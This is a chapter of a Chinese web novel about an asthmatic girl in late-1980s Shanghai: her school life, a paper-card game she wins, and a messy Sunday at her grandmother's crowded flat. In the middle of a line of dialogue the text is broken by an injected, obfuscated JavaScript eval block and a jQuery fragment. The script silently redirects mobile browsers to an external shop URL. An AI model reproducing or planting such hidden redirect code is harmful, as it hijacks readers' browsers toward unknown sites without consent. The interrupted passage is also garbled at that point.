文趣网 > 都市小说 > 北往南渡 > 25. 门卫室、痰盂罐与拍牌王(1988-1989)
    刚入秋的上海,暑气还恋栈着不肯走。弄堂里飘荡着樟脑丸和栀子花将谢未谢的混合气息。对甘悠来说,这气息里还混杂了另一种全新的味道——学校的味道。

    这味道由粉笔灰、新书本的油墨、水泥操场被太阳晒出的微尘气,以及从门卫室那扇小窗里飘出的、淡淡的茶叶味共同构成。每天下午三点半,放学铃声像一道敕令,孩子们便如出笼的雀儿,呼啦啦涌出墨绿色的校门。甘悠不属于那片欢腾的潮水。她背着那个浅绿色的书包,脚步不疾不徐,拐进校门旁边那间小小的、光线有些昏暗的门卫室。

    “张爷爷,我来了。”她熟门熟路地把书包放在靠墙那张掉漆的长木椅上,那椅子是张爷爷给她划定的“专座”。

    门卫张老伯从老花镜上方抬起眼皮,满是皱纹的脸上绽开一个温和的笑:“哟,悠悠来啦。今朝哪能?气喘好点伐?”

    “蛮好。”甘悠在长椅上坐下,从书包侧袋掏出自己的浅绿色兔子水壶,拧开,小口喝水。水是早上西贝灌好的温水,这会儿已经凉了,但甘悠习惯了。

    张老伯点点头,把手伸向桌上那包拆开的“飞马”香烟,手指碰到烟盒的瞬间,顿了顿,又收了回来,转而拿起那个搪瓷大茶缸,咕咚喝了一大口浓茶。他记得西贝送孩子来时,特意叮嘱过,悠悠闻不得烟味,会呛咳。老头记在心里了。这间小小的门卫室,成了甘悠放学后临时的、安全的避风港。她在这里写作业,看小人书(有时张爷爷会从家里带几本旧的来),或者就安静地坐着,看窗外梧桐树的叶子一片片变黄,飘落。

    学校上午两节课后的课间餐,是另一个微型的、带着甜香和失落的小小世界。

    “发点心啦!”生活委员稚嫩的喊声,总能引起一阵小小的骚动。白色的搪瓷提篮里,有时是独立包装的动物饼干,有时是小圆面包,配上装在透明塑料袋里的、插着吸管的牛奶或豆奶。孩子们欢呼着,迫不及待地撕开包装,教室里瞬间充满了“咔嚓咔嚓”的咀嚼声和满足的喟叹。

    甘悠也领到一份。但她只能拆开饼干的包装,小口小口地咬着。旁边同桌小美“噗”一声戳开豆奶袋,吸得吱吱响,带着豆腥味的甜香飘过来。甘悠目不斜视,专心吃饼干,然后拿出自己的兔子水壶,喝一口温水,把嘴里干巴巴的饼干屑送下去。牛奶?豆奶?那都是“生冷”的东西,妈妈说了,碰不得。失落吗?有一点,但不多。更让她心里像被小爪子轻轻挠了一下的,是窗外操场上越来越响亮的集合哨声。

    “体—育—课—”

    这三个字,对大多数孩子是天籁,对甘悠,却像一道温柔的禁令。

    西贝在开学前,几乎磨破了嘴皮子。她找校长,找班主任林老师,最后还特意在放学后,等到了那位皮肤黝黑、声音洪亮的体育老师王老师。她把那叠厚厚的病历摘要又拿出来,翻到医生用红笔标出的注意事项,语气近乎哀求:“王老师,不是我们娇气,是真的不能跑,不能跳,一剧烈运动,气管就跟拉风箱一样,立刻就喘不上气,要送医院的……我们悠悠很乖的,就让她在教室看看书,行吗?责任我们自己负,保证不给学校添麻烦……”

    王老师看着眼前这个瘦削憔悴、眼神却异常执拗的母亲,又看看她身边那个白白净净、睁着大眼睛安静看着自己的小女孩,最终叹了口气,挠挠头:“行吧,那就在教室待着。但别的课……别的课可不能再这样了啊。”

    于是,每周两节的体育课,就成了甘悠的“教室独处时光”。她通常利用这段时间飞快地做完大半作业。当操场上传来阵阵口号声、嬉笑声、球类拍打地面的“砰砰”声时,她就会停下笔,不由自主地走到窗边。

    操场真大啊。阳光毫无遮挡地洒下来,把塑胶跑道(虽然是旧的)照得发亮。同学们像一个个充满活力的小点,奔跑,跳跃,追逐。女生们在跳皮筋,马尾辫一甩一甩;男生们在踢足球,大呼小叫。冯佳那个皮猴子,像阵风一样在人群里钻来钻去,笑声隔得老远都能听见。甘悠的手指无意识地抠着窗框的木屑,心里那点被饼干和温水勉强压下去的渴望,又细细密密地泛上来。她不是不想动,是不能动。那种身体被封印,而灵魂渴望飞翔的割裂感,在每一次体育课达到顶点。

    “悠悠,又在发呆看操场啊?”同桌小美体育课中途跑回来喝水,脸颊红扑扑的,额发被汗粘住,“外面可好玩了!王老师教我们丢沙包,差点打到冯佳的头,哈哈哈!”

    甘悠收回目光,对她笑了笑:“嗯,看到了。你玩得开心点。”

    “你一个人在这里多没劲啊。”小美咕咚咕咚喝完水,用袖子一抹嘴,“哎,不过你妈妈说了你不能跑,也没办法。我走啦!”又像阵风似的跑了。

    教室重新恢复空旷的寂静。只有远处隐约传来的哨声和欢叫,衬得这寂静更加深重。甘悠坐回座位,却没有继续写作业。她摊开图画本,拿起铅笔,开始画窗外那棵梧桐树,画操场上模糊跑动的人影,画蓝天,画阳光下飞扬的灰尘。线条有些笨拙,但很认真。仿佛这样,就能把那份无法参与的喧闹与生气,偷偷藏进自己的画里。

    甘悠的人缘其实不差。只要不生病,在学校的时候,她总是笑眯眯的,见谁都能搭上两句话。幼儿园的老熟人冯佳自不必说,课间总爱从前排扭过头来,用各种稀奇古怪的问题逗她。还有汪甄,也是幼儿园同届不同班的,开家长会时,西贝和汪甄妈妈一聊,发现汪甄爸爸和甘英嵘竟在同一个机械系统,虽不同厂,也算有了点渊源。两家大人熟了,两个孩子在学校自然也亲近些。

    “悠悠,走,上厕所去!”汪甄常常在课间跑来,拉起甘悠的手。小学女生的友谊,似乎总与“结伴上厕所”密不可分。两个小姑娘手拉手,穿过嘈杂的走廊,一路上汪甄叽叽喳喳说着班里谁和谁吵架了,谁买了新橡皮。甘悠大多时候安静地听,偶尔插一句,眼睛弯成月牙。厕所门口挂着洗得发白的蓝布帘子,甘悠总会想起开学第一天那个“红皮鞋乌龙”,脸上微微一热,赶紧低头钻进去。这种细碎的、平凡的陪伴,像一点点星光,照亮了她因为时常缺席而显得有些孤独的校园生活。

    然而,病魔并未因她上了小学就格外开恩。感冒、咳嗽、哮喘,像三个轮番登场的恶客,顽固地纠缠着她。一年级的第一个学期,她差不多有一半时间是在家里那张棕绷床上度过的。

    咳嗽是最磨人的。常常是夜里开始,先是喉咙发痒,接着便是止不住地、一阵紧似一阵的干咳,咳到后来满脸通红,眼泪直流,胸口和肋骨牵扯着生疼,仿佛要咳散架。西贝也几乎整夜不能安睡,抱着她,一下下拍着她的背,喂温水,用热水毛巾敷她的前胸后背,眼里布满血丝。

    家里那个朱红色的、带盖的搪瓷痰盂罐,成了甘悠病中最重要的“伙伴”。西贝考虑得极其周全:冬夜寒冷,从被窝里爬起来去几步之遥的卫生间,那一瞬间的冷热交替对大人都够呛,何况是哮喘儿。于是,痰盂罐就放在床头柜边上。甘悠咳得厉害时,西贝就扶着她,对着痰盂罐咳痰,又或者直接上个小号。平日里,它也是夜间方便的“御用器具”。甘悠并不觉得这有什么不体面,在喘不过气的痛苦面前,一切方便她、让她少受罪的安排,都是好的。

    有一次,她咳得实在太厉害,痰里隐约有点血丝。西贝的脸瞬间白了,抱起她就要去医院。甘悠却拉住妈妈的衣角,声音嘶哑微弱:“妈妈……明天……明天还要上学……我作业……还没写完……”西贝的眼泪“唰”就下来了,紧紧抱住女儿瘦小的、因为咳嗽而不停颤抖的身体,哽咽道:“不上了,咱们不上了,悠悠乖,身体要紧……”西贝立马拿出常备药箱,抗生素头孢和激素强的松一起给甘悠喂服。

    那晚,甘悠在剧烈的咳嗽和药物的作用下昏昏沉沉睡着,西贝就坐在床边的小凳上,握着女儿滚烫的小手,望着窗外沉沉的夜色,听着她即使在睡梦中也不安稳的、拉风箱似的呼吸声,一夜无眠。晨光微露时,她轻轻起身,去倒痰盂,刷洗,消毒,动作轻柔而熟练,仿佛在进行一项神圣而悲伤的仪式。

    然而,只要身体稍有好转,回到学校,甘悠身上那种属于孩子的、蓬勃的生命力又会顽强地冒出头来。她喜欢交朋友,尽管她心里认定的“好朋友”,在对方那里可能只算“玩得还行的同学”。但这并不妨碍她一次次主动释放善意。

    那是一节难得的、天气晴好的体育课。甘悠照例在教室做完了所有作业,甚至预习了下一课的生字。窗外的阳光和嬉闹声实在太诱人。她扒着窗户看了好久,看到同学们自由活动,跳皮筋的,丢沙包的,拍纸牌(一种印着各种图案的硬纸片,用手拍地,利用风力掀翻对方的牌)的……她的目光被教室后面空地上一小圈围着的同学吸引了,是拍纸牌。

    鬼使神差地,她放下笔,轻轻走出了教室。

    空地上,同班的殷豪正大杀四方,他手里拿着一沓崭新的“圣斗士星矢”纸牌,下巴抬得老高:“还有谁?嗯?还有谁来?”几个男生面面相觑,都有些怯了。殷豪家里条件好,零花钱多,买的纸牌又新又硬,赢面很大。

    “我……我来试试,好伐?”一个细细的、带着点犹豫的声音响起。

    众人回头,见是甘悠,都愣了一下。殷豪更是嗤笑一声:“病秧子,你来凑啥热闹?等会儿咳起来,可别赖我。”

    甘悠没说话,只是从自己书包侧袋里掏出一个小铁皮盒子,打开,里面是十几张有些旧、但保存完好的纸牌,图案是“黑猫警长”和“葫芦娃”,是她用攒下的零花钱和跟冯佳换来的。

    “玩玩嘛,”她仰起小脸,语气平静,“输了,这张‘黑猫警长’给你。”她指了指其中一张最炫的。

    殷豪眼睛一亮:“当真?”

    “嗯。”

    “行!输了可不准哭鼻子,也不准告老师!”殷豪来了劲,觉得这是白捡的便宜。

    两人蹲下,周围立刻围拢了一圈看热闹的同学。甘悠先攻。她伸出小手,看了看地面(有点灰尘),又看了看殷豪那张放在地上的“星矢”,深吸一口气(很轻,怕引发咳嗽),手腕轻轻一抖,带着一股巧劲,手掌在离纸牌还有一寸高的地方猛地拍下!

    “啪!”一声轻响,气流旋动。殷豪那张“星矢”晃了晃,竟然微微翘起了一个角!

    “哇!”围观的同学发出低呼。殷豪也瞪大了眼。

    甘悠没停,看准角度,又是轻轻一拍。“星矢”纸牌被气流带得翻了个面!

    “赢了!”有孩子喊出来。

    殷豪脸涨红了:“不算!你……你刚才那下是瞎猫碰上死耗子!再来!”

    第二局,甘悠又赢了。她拍牌的动作看起来并不大力,甚至有些轻飘飘的,但角度和时机总是抓得极准,仿佛能感受到那微弱气流的走向。第三局,第四局……周围聚集的人越来越多,连一些跳皮筋的女生都跑过来看。惊呼声、起哄声此起彼伏。

    “甘悠!加油!”

    “殷豪,你行不行啊!”

    “哇!又翻了!太厉害了!”

    甘悠的小脸因为兴奋和专注而泛起红晕,眼睛亮得惊人,完全忘了自己“病秧子”的身份,全身心沉浸在那种掌控微末气流、赢得胜利的奇妙感觉里。她似乎在这方面有种天生的、敏锐的直觉。

    当殷豪手里最后一张、也是他最珍视的“黄金圣斗士”被甘悠用一个极其刁钻的角度拍翻时,全场静了一瞬,随即爆发出更大的欢呼!

    殷豪看着自己空空如也的手,又看看甘悠面前那一小摞赢来的、崭新的“圣斗士”纸牌,脸上一阵红一阵白,半天,才梗着脖子,憋出一句:“哼!今天……今天是东南风!帮侬忙!下次……下次再比过!”说完,抓起空空的书包,挤出人群跑了。

    “悠悠,你太厉害了!”

    “你怎么做到的?教教我!”

    “你是‘拍牌王’啊!”

    同学们围着她,七嘴八舌。甘悠有些不好意思地笑了,把赢来的牌整理好,想了想,抽出那张最闪亮的“黄金圣斗士”,追上了还没走远的殷豪。

    “还给你。”她把牌递过去。

    殷豪愣住了,看着她。

    “玩玩嘛,”甘悠又说,笑容干净,“你的牌好,赢得多是应该的。这张你最喜欢的,还给你。其他的……我能不能用它们跟你换几张我没有的‘黑猫警长’?”

    殷豪看着她认真的眼睛,脸忽然没那么红了,他一把抓过那张“黄金圣斗士”,胡乱塞进口袋,嘟囔道:“随……随你便!”然后飞快地跑开了,但背影似乎没那么气急败坏了。

    甘悠捏着换回来的几张“黑猫警长”,心里有种饱饱的、快活的充实感。这一刻,她不是被照顾的病号,不是体育课的旁观者,她是凭自己“本事”赢得注意和一点点尊敬的“甘悠”。下课铃响了,这短暂的高光时刻结束了,但那份微甜的、属于胜利的滋味,却久久留在舌尖。

    与甘悠在病痛和学业间挣扎、西贝在工作和照顾女儿间疲于奔命形成鲜明对比的,是永嘉路老公房四楼那个总是人声鼎沸、让西贝感到熟悉又疏离的“大本营”。每隔一两周的周日,只要甘悠身体尚可,西贝便会带着女儿回去。这更像一种必须履行的责任,而非充满暖意的归巢。

    那个周日下午,西贝在永嘉路四楼那个狭窄的卫生间里,挽着袖子奋力搓洗孙兰积攒的被套,肥皂沫和水溅得到处都是。甘悠安静地坐在客厅角落一张小凳子上,看着一本从家里带来的旧《小朋友》杂志。客厅不大,却被孩子们的喧闹填得满满当当。

    比甘悠大两岁、已经上三年级的韩璐,穿着一身从“华亭路”买来的、时下最流行的粉蓝色镶白边运动服,脚上是崭新的白色“回力”鞋,正挥舞着一个鸡毛掸子当宝剑,追着比甘悠小一岁、但同样在永嘉路长大的易蕾满屋跑。“蕾蕾接招!我是白衣女侠!”易蕾表面文静,跑起来却灵活得像只猫,边笑边躲,顺手抓起沙发上一个毛线团扔回去:“看我暗器!”比甘悠小四岁的西召,刚学会跑稳当,咯咯笑着跟在两个姐姐后面当小尾巴,激动得小脸通红。

    孙兰坐在那张老旧的藤椅上,手里织着毛线,眼睛却时刻追着三个孙辈,脸上是毫不掩饰的宠溺,尤其是看着西召时,眼神柔得能滴出水来。“璐璐,慢点儿跑,看撞着弟弟!蕾蕾,小心脚下凳子!召召,来,到姥姥这儿来,姥姥给你剥橘子吃。”

    西召被孙兰搂在怀里喂了一瓣橘子,乌溜溜的眼睛却还盯着打闹的姐姐们。韩璐和易蕾闹累了,停下来嘀嘀咕咕商量着什么,不一会儿,韩璐跑进她和妈妈西敏的房间,翻出一件她嫌小了的、带蕾丝花边的旧连衣裙,易蕾则从抽屉里找出孙兰一条不用的旧纱巾。

    “召召,来,姐姐给你打扮打扮,当新娘子!”韩璐眼睛发亮,拿着裙子就往西召身上套。西召扭着身子不乐意,被易蕾从后面轻轻抱住,韩璐麻利地把裙子给他套上,又用纱巾给他盖在头上。西召懵懵懂懂,但见姐姐们笑得开心,也跟着傻笑起来,穿着裙子戴着纱巾,在客厅里蹒跚学步,活脱脱一个滑稽的小玩偶。孙兰和一旁的尹雅都笑得前仰后合,尹雅还赶紧去找了管快用完的旧口红,在西召眉心点了个红点。

    “哎哟,咱家召召真俊!是个小美女!”孙兰乐不可支,搂过西召亲了一口。

    甘悠从杂志上抬起眼,安静地看着这一幕。她没有笑,只是静静看着。客厅里的热闹和欢笑,像一层温暖的、有弹性的膜,包裹着韩璐、易蕾和西召,却将她轻柔地隔在外面。她不在这里住,无法像易蕾那样自然地融入韩璐主导的游戏,也无法像西召那样成为所有人目光的焦点。她只是偶尔来访的、安静的旁观者。她身上是妈妈洗得发白的旧格子衬衫和藏青裤子,脚上是那双已经有些磨损却依然擦得干净的“胜利小红鞋”。

    西贝在卫生间听着外面的欢声笑语,用力搓着被套,冰凉的肥皂水让她手指麻木。她拧干水,端着沉重的洗衣盆走到小小的阳台上去晾晒。经过客厅时,孙兰的目光才扫过大女儿,落到角落里的甘悠身上,眉头习惯性地微蹙,语气平淡:“悠悠今儿气色看着还行?没再犯喘吧?”

    “这两天还成,妈。”西贝替女儿回答,声音有些干涩,带着挥之不去的疲惫。

    “那就好。这孩子,身子骨弱,你平时得多精心。”孙兰说完,注意力立刻又被穿着裙子、摇摇晃晃扑过来的西召吸引过去,“哎哟,我的小宝贝儿,慢点儿!”

    甘悠仿佛没听见外婆的话,头埋得更低了些,只有握着杂志边缘的手指收紧了些。韩璐拉着易蕾从她面前跑过,去抢西召头上的纱巾,带起一阵风。易蕾经过时,脚步顿了一下,看了眼甘悠手里的杂志,似乎想说什么,但被韩璐一拉,又笑着跑开了。

    尹雅一边笑着看孩子们闹,一边对孙兰说:“妈,前天二姐(西桦)来电话了,说了好久。”

    孙兰立刻关心地问:“桦桦说啥了?在北京好不好?工作顺心不?”

    “好着呢,听声音精神头挺足。”尹雅接过话头,“二姐说,他们单位去年分了间小房子,虽然还是小,但总算是个独立的窝了。她说……等今年下半年稳定稳定,就打算把蕾蕾接回北京去上学。说老让孩子跟咱们这儿,也不是长久之计,而且北京的教育条件,到底还是不一样。”

    孙兰听了,沉默了一会儿,看着正和韩璐头碰头不知道嘀咕什么的易蕾,眼里满是不舍:“接回去啊……也是,孩子总得跟着爹妈。就是……这一走,又不知道多久才能见着了。蕾蕾这孩子,懂事,学习也不用操心,我是真舍不得。”

    “二姐也说了,寒暑假肯定让蕾蕾回来。”尹雅宽慰道,“她还说,多亏了爸妈和家里帮忙照看这几年,她跟姐夫才能在北京安心拼事业。等蕾蕾过去安顿好了,接您跟爸去北京玩,看看天安门,爬爬长城。”

    孙兰叹了口气,没再说什么,只是把西召搂得更紧了些。这消息让客厅的热闹蒙上了一层淡淡的、离别的预感。韩璐似乎听到了只言片语,跑过来拉着易蕾的手:“蕾蕾,你要回北京了?那是不是以后就没人跟我玩了?”

    易蕾小声说:“我妈说……可能下学期。”

    “北京有啥好的,上海多好玩啊!”韩璐嘟起嘴,但很快又被新玩具吸引,这事儿对她来说,似乎还没手里新得的卡通贴纸重要。

    西贝在阳台上晾晒被套,老式的晾衣竿有些高,她踮着脚,有些吃力。客厅里,孙兰一边看着孩子们闹,一边像是想起了什么烦心事,对着阳台方向提高了声音,带着浓重的山东口音:“西敏那个不省心的,可把你爸气坏了!好好的图书馆工作,多少人求不来的清闲铁饭碗,她倒好!三天两头请假,今天头疼明天脑热,去了统共不到半年,正经上班不知道有没有俩月!前儿个,自己跑去找领导,说不干了!说那地方‘憋屈’,‘不是人待的’!你说说,这不是作吗?”

    西贝将被套用力甩开,挂上铁丝,发出“啪”的一声轻响。她没回头,只是问:“那她现在……?”

    “现在?”孙兰的音调拔得更高,充满了气恼和无奈,“现在可了不得了!成天跟她那帮子不上班的太太们混在一起,不是逛街就是打麻将。昨儿回来,还跟你爸和我大谈什么‘生意经’,说要开饭店!开什么‘海上明珠’!说得天花乱坠,什么‘坐着收钱’,什么‘当老板娘’……就她?图书馆坐班都嫌累的人,开饭店?那得起早贪黑,应付三教九流,她吃得了那苦?我看她是让韩杰的钱烧昏头了!”

    说来也巧,仿佛为了印证孙兰的话,门口传来钥匙转动的声音,紧接着是浓郁的花香香水味和一阵清脆的说笑声。西敏穿着一身崭新的枣红色薄呢收腰连衣裙,外罩一件米白色短风衣,头发烫着时髦的大波浪,脸上化着精致的妆,手里拎着好几个印着“上海第一百货”、“华联商厦”字样的漂亮纸袋,满面春风地走了进来。她身后还跟着一个同样打扮入时、烫着卷发的年轻太太,是她的麻将搭子兼逛街伙伴丽华。

    “妈,我回来了!呦,大姐也在,干活呢?”西敏声音娇脆,带着惯有的撒娇腔调,把手里的大包小包随意放在凳子上。

    丽华也笑着打招呼:“阿姨好,西贝姐好。你们家真热闹。”

    孙兰看着一地纸袋,眉头皱得更紧:“又去逛街了?这大包小包的,又买了多少?钱不是钱啊?”

    “妈~!”西敏拖着长音,拿起一个纸袋,从里面掏出一条亮闪闪的、带着繁复花纹的羊毛围巾,“看,正宗的‘雪莲’牌,今年最流行的花色!给您买的,暖和!”又拿出一个盒子,“这是给爸的洋酒,听说是外国牌子,老爸喝了肯定提神醒脑!璐璐,过来,看妈妈给你买什么了?”

    韩璐欢呼着跑过来。西敏献宝似的拿出一件大红色的、镶着金线和小亮片的羊毛衫,还有一双崭新的银色小皮鞋。“试试,喜不喜欢?妈妈在‘蓝棠’买的,最新款式!”

    韩璐眼睛发光,立刻把新衣服往身上比划,小脸上满是兴奋和骄傲。易蕾也好奇地凑过来看。西敏又掏出一盒包装精美的进口巧克力,塞给易蕾和眼巴巴望着的西召:“来,吃糖!吃巧克力!丽华阿姨从华侨商店带来的,外面可买不着。”

    甘悠依然坐在角落,看着韩璐雀跃地试穿新衣新鞋,看着易蕾和西召分食那盒看起来就很贵的巧克力。她低下头,继续看杂志,只是很久都没翻动一页。因为甘悠知道哮喘的自己不能碰甜食,西贝停下了擦桌子的动作,看着妹妹和侄女,脸上没什么表情,只是眼神黯了黯,然后更用力地擦拭着桌面一处看不见的污渍。

    丽华羡慕地说:“西敏,还是你福气好,韩杰能干,舍得给你花钱。瞧把这小璐璐打扮得,跟小公主似的。”

    西敏得意地一笑,在孙兰旁边的椅子坐下,翘起腿,从小皮包里拿出小镜子照了照,语气随意又带着点自得:“女人嘛,就得对自己好点。趁着年轻,该穿穿,该花花。妈,您别老念叨,那破图书馆工作有什么好留恋的?一个月几十块钱,够干嘛的?连条像样的裙子都买不起。现在时代不同了,妈,得有点经济头脑!”

    她说着,兴致勃勃地跟丽华分享起今天的收获:“哎,丽华,你看中的那件‘大地’风雨衣,后来买了没?我跟你说,‘人立’的衬衫才叫好,料子挺括……中午我们在‘德大’吃的那道‘葡国鸡’,味道是真不错,就是价钱辣手。不过环境是好啊,请人谈事有面子。我以后开饭店,就得照那个档次来……”

    孙兰听着小女儿和朋友的对话,全是衣服、吃食、价钱,太阳穴突突地跳,忍不住打断:“开饭店开饭店,你当是逛百货公司买衣服呢?说得轻巧!你大姐在厂里医务室忙一天,挣的是辛苦钱、踏实钱!你倒好,图书馆的清福不享,净想着些虚头巴脑的!”

    西敏正说到兴头上被打断,脸上有些挂不住,尤其是当着朋友和姐姐的面。她撇了撇嘴,那股子不服输的劲头上来了:“妈,您就是看不起我!大姐是踏实,可踏实能挣大钱吗?能想买啥就买啥吗?开饭店是事业!是经营!我有本钱,请人做事就好了呀,为什么非要自己苦哈哈的?韩杰都说了,只要我想做,他支持!”她说着,眼风似有若无地扫过西贝,“人呐,要懂得用脑筋,用钞票生钞票,那才叫本事。苦干,那是老黄历了。”

    丽华在一旁有点尴尬,忙打圆场:“阿姨,西敏也是想干点事。现在政策允许,有机会试试也挺好……”

    “试?拿真金白银去试?”孙兰更来气了,连连咳嗽了几声。

    西敏赶紧给母亲拍背,语气软了点,但话却没松口:“好了好了妈,您身体不好,可别生气,我不跟您争。丽华,咱回头再聊。妈,晚上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621391|206185||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我不在家吃了,韩杰几个深圳的朋友过来,在‘红房子’摆了一桌,我得去作陪。人家那边,生意做得才叫大,我得去多学学。”她起身,又嘱咐韩璐:“璐璐,乖乖写作业,想要啥跟妈妈说。”然后对丽华说:“走吧,陪我去做个头发,晚上见人得精神点。”两人又像一阵香风似的飘走了,留下客厅里弥漫的香水味、新衣服的纤维味,和一种说不清的浮华气息。

    韩璐已经迫不及待地换上了新毛衣和新皮鞋,在并不宽敞的客厅里走来走去,享受着新衣服带来的快乐。易蕾也换上了韩璐一件半新的、但依然很漂亮的毛衣外套,两个小姑娘头碰头,比较着衣服上的花纹。

    这时,一直被忽略的西召大概是玩腻了,也可能是水喝多了,突然扭着小身子,嘴里含糊地嘟囔着“嗯嗯”,小脸憋得有点红。尹雅一看就明白了:“哎哟,要拉臭臭了!快,痰盂罐!”

    家里虽然煤卫独用,但西召还小,夜里和白天有时为了方便,还是用痰盂罐。尹雅赶紧去卫生间把那个朱红色的搪瓷痰盂罐拿出来,放在客厅角落。孙兰也起身帮忙,给西召脱裤子。

    大人们的注意力暂时被吸引过去。西召坐在痰盂罐上,开始努力。韩璐和易蕾捂着鼻子嘻嘻笑着躲远了一点,又忍不住好奇地张望。

    谁也没想到,西召拉完后,没有立刻叫人,而是好奇地低头看着痰盂罐里的“成果”,然后,在所有人反应过来之前,他突然伸出小手,以迅雷不及掩耳之势,从里面抓了一小撮!

    “哎呀!!”尹雅第一个看见,失声尖叫。

    “召召!别动!”孙兰也吓得魂飞魄散,扑过去想阻止。

    但已经晚了。西召把那撮黄澄澄、软乎乎的东西,径直塞进了自己嘴里!还咂巴了一下嘴,小脸上露出一种奇怪的表情。

    “哇——!”下一秒,可能是味道太刺激,他张嘴大哭起来,粘稠的污物从嘴角溢出。

    “吐出来!快吐出来!”孙兰脸都白了,手忙脚乱地去抠西召的嘴。

    尹雅急得直跺脚,赶紧去找水。韩璐和易蕾吓得躲到了门后,瞪大了眼睛。西敏早已离开,不然定会嫌恶地跳开。

    客厅里瞬间鸡飞狗跳,充满了孩子的嚎哭、大人的惊呼和呵斥、以及难以形容的气味。

    西贝放下抹布,下意识地想去帮忙,但看着孙兰和尹雅已经围住了西召,她又停住了脚步。她转头,看向角落里的女儿。

    甘悠不知何时已经站了起来,紧紧挨着墙壁,小脸惊讶的不可置信,一只手无意识地捂住了自己的嘴,另一只手攥紧了衣角,眼睛里充满了惊恐和不知所措。这个混乱又恶心的场面,显然吓到了她。

    西贝立刻走过去,挡在女儿身前,轻轻揽住她瘦小的肩膀,低声道:“不怕,没事。”然后对乱成一团的孙兰说:“妈,我去打点温水,拿肥皂。”

    她快步走进卫生间,接水,拿肥皂和毛巾。当她端着水盆出来时,孙兰已经强行给西召漱了口,但孩子还在哇哇大哭,身上、孙兰和尹雅手上都沾了些污迹,气味弥漫。

    西贝默默地递上温水和肥皂。孙兰接过,胡乱地给西召擦洗,脸色很不好看,不知是急的还是气的。尹雅一边帮忙,一边数落西召:“你这熊孩子!怎么什么都往嘴里放!脏死了!”

    好不容易收拾得差不多了,西召哭累了,抽抽噎噎地被尹雅抱去里屋换衣服。客厅里一片狼藉,痰盂罐还摆在角落,气味一时散不去。

    孙兰疲惫地坐在藤椅上,喘着气,看着一地混乱,眉头紧锁,半晌没说话。刚才关于“开饭店”的争执和逛街归来的浮华,似乎被这突如其来的、带着强烈味道的插曲彻底打断了,但空气中弥漫的尴尬、烦躁和某种无形的隔阂,却比之前更加浓厚。

    西贝默默地收拾着地上的水渍,把痰盂罐拿到卫生间去刷洗。甘悠亦步亦趋地跟在她身后,小手轻轻拽着她的衣角。

    “妈妈,我们什么时候回家?今天能不能回家吃饭?”甘悠小声问,声音里带着一丝不易察觉的颤抖。

    西贝刷洗痰盂罐的手顿了顿,冰凉的水流冲刷着污物。她抬起头,从卫生间狭小的窗口望出去,外面是上海典型的、拥挤的灰色屋顶和晾晒的万国旗。这里永远热闹,却也永远有着消化不完的琐碎烦恼和突如其来的尴尬混乱。

    “是不是不舒服了?”问完西贝又说,“快了,等妈收拾完。”她低声回答,声音平静,却带着深深的倦意。

    “妈,晚饭我们不吃了,菜都备好了,阿姨炒一下就行,我们先回去了,悠悠有点不舒服,明天还要上学,不能太晚。”

    西贝牵着女儿离开时,天色已近黄昏。走下四层楼梯,走出那栋永远嘈杂的老公房,弄堂里的穿堂风吹来,带着饭菜香和煤烟味,也吹散了身上那股隐隐的、不愉快的气息。甘悠紧紧握着妈妈的手,小声说:“妈妈,我们家虽然小,但很干净。”

    西贝低头看着女儿,女儿的眼睛在暮色中显得格外清亮。她心头那团郁结的闷气,忽然就散开了一些。她用力回握女儿的手。

    “嗯,我们家很好。”

    她们朝着体育馆二楼那个小小的、有些拥挤、但完全属于她们的“家”走去。身后的永嘉路,灯火次第亮起,照着的是一地鸡毛蒜皮和理不清的亲情账;而前方等待她们的,是必须小心翼翼维护的、虽然艰难却纯粹得多的相依为命。

    偶尔,西敏会想起在体育馆二楼那个拥挤的一室户里,姐姐西贝每天骑着哐当作响的自行车,风雨无阻地接送那个病恹恹的女儿,回到家还要操持家务,忙得脚不沾地。对比自己逛街购物、饮茶吃饭的悠闲,西敏更觉得自己“开饭店”的想法简直英明极了——那才是人过的日子,是掌控自己生活、体现自己价值的“事业”。至于姐姐那种近乎燃烧自己的付出和挣扎,在她看来,多少有些“不会享福”和“不懂变通”的傻气。

    姐妹俩的人生,在时代的岔路口,走向了越发迥异的轨道。一个在生活的泥泞里深一脚浅一脚,背负着沉重的责任踽踽独行;一个则试图踩着经济的浪尖,追逐着轻松致富的浮华幻梦。而命运的吊诡之处在于,它从不轻易让人如愿,无论是求安稳的,还是图快活的。

    西贝的生活,确实如西敏所见的“忙碌”,甚至更甚。但她也在用自己瘦弱的肩膀,努力为女儿搭建一个更稳固、更舒适的小巢。

    家里的卫生间实在太小,堆放杂物后更加转不开身。西贝看着那些舍不得丢又无处安放的瓶瓶罐罐、旧被褥,发了愁。一次闲聊中,厂里的技术员汪劲松(就是当年那个对她有过好感的退伍兵,如今已是车间骨干,两人保持着客气而友好的同事关系)听说了她的烦恼,主动说:“西大夫,这简单。在卫生间天花板上搭个轻钢龙骨,铺上防火板,就是个现成的吊柜。东西放上面,不占地方。”

    西贝有些犹豫:“这……麻烦吧?还要打孔什么的。”

    “不麻烦,我休息日过来,半天功夫就弄好。材料厂里废料间找找,差不多够。”汪劲松说得轻描淡写,眼神坦荡。

    西贝知道他是热心,也确实被狭小的空间逼得没法,再三道谢后答应下来。那个周末,汪劲松果然来了,带着工具和一些材料。甘英嵘也在家,两个男人话不多,但配合还算默契。敲敲打打一下午,一个结实又整齐的吊柜就出现在了卫生间天花板下。空间顿时清爽许多。

    “排水管也可以改一下,”汪劲松忙完吊柜,又看了看洗衣机的位置,“洗衣机放卫生间太潮,对机器不好,人也容易滑倒。阳台有下水口,我把管子接过去,洗衣机挪阳台,晒衣服也方便。”

    这下连甘英嵘都点头:“这个主意好。”

